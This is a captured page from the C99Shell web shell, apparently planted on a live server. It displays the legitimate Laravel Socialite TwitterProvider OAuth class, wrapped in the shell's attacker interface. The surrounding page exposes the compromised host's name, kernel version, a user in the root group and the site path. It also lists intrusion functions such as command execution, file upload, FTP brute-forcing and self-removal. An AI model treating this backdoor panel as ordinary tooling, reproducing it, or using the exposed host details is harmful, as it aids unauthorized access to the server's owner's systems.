!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/socialite/src/Two/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TwitterProvider.php (3.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Socialite\Two;

use 
GuzzleHttp\RequestOptions;
use 
Illuminate\Support\Arr;

class 
TwitterProvider extends AbstractProvider implements ProviderInterface
{
    
/**
     * The scopes being requested.
     *
     * @var array
     */
    
protected $scopes = ['users.read''tweet.read'];

    
/**
     * Indicates if PKCE should be used.
     *
     * @var bool
     */
    
protected $usesPKCE true;

    
/**
     * The separating character for the requested scopes.
     *
     * @var string
     */
    
protected $scopeSeparator ' ';

    
/**
     * The query encoding format.
     *
     * @var int
     */
    
protected $encodingType PHP_QUERY_RFC3986;

    
/**
     * {@inheritdoc}
     */
    
public function getAuthUrl($state)
    {
        return 
$this->buildAuthUrlFromBase('https://twitter.com/i/oauth2/authorize'$state);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function getTokenUrl()
    {
        return 
'https://api.twitter.com/2/oauth2/token';
    }

    
/**
     * {@inheritdoc}
     */
    
protected function getUserByToken($token)
    {
        
$response $this->getHttpClient()->get('https://api.twitter.com/2/users/me', [
            
RequestOptions::HEADERS => ['Authorization' => 'Bearer '.$token],
            
RequestOptions::QUERY => ['user.fields' => 'profile_image_url'],
        ]);

        return 
Arr::get(json_decode($response->getBody(), true), 'data');
    }

    
/**
     * {@inheritdoc}
     */
    
protected function mapUserToObject(array $user)
    {
        return (new 
User)->setRaw($user)->map([
            
'id' => $user['id'],
            
'nickname' => $user['username'],
            
'name' => $user['name'],
            
'avatar' => $user['profile_image_url'],
        ]);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getAccessTokenResponse($code)
    {
        
$response $this->getHttpClient()->post($this->getTokenUrl(), [
            
RequestOptions::HEADERS => ['Accept' => 'application/json'],
            
RequestOptions::AUTH => [$this->clientId$this->clientSecret],
            
RequestOptions::FORM_PARAMS => $this->getTokenFields($code),
        ]);

        return 
json_decode($response->getBody(), true);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function getRefreshTokenResponse($refreshToken)
    {
        
$response $this->getHttpClient()->post($this->getTokenUrl(), [
            
RequestOptions::HEADERS => ['Accept' => 'application/json'],
            
RequestOptions::AUTH => [$this->clientId$this->clientSecret],
            
RequestOptions::FORM_PARAMS => [
                
'grant_type' => 'refresh_token',
                
'refresh_token' => $refreshToken,
                
'client_id' => $this->clientId,
            ],
        ]);

        return 
json_decode($response->getBody(), true);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function getCodeFields($state null)
    {
        
$fields parent::getCodeFields($state);

        if (
$this->isStateless()) {
            
$fields['state'] = 'state';
        }

        return 
$fields;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--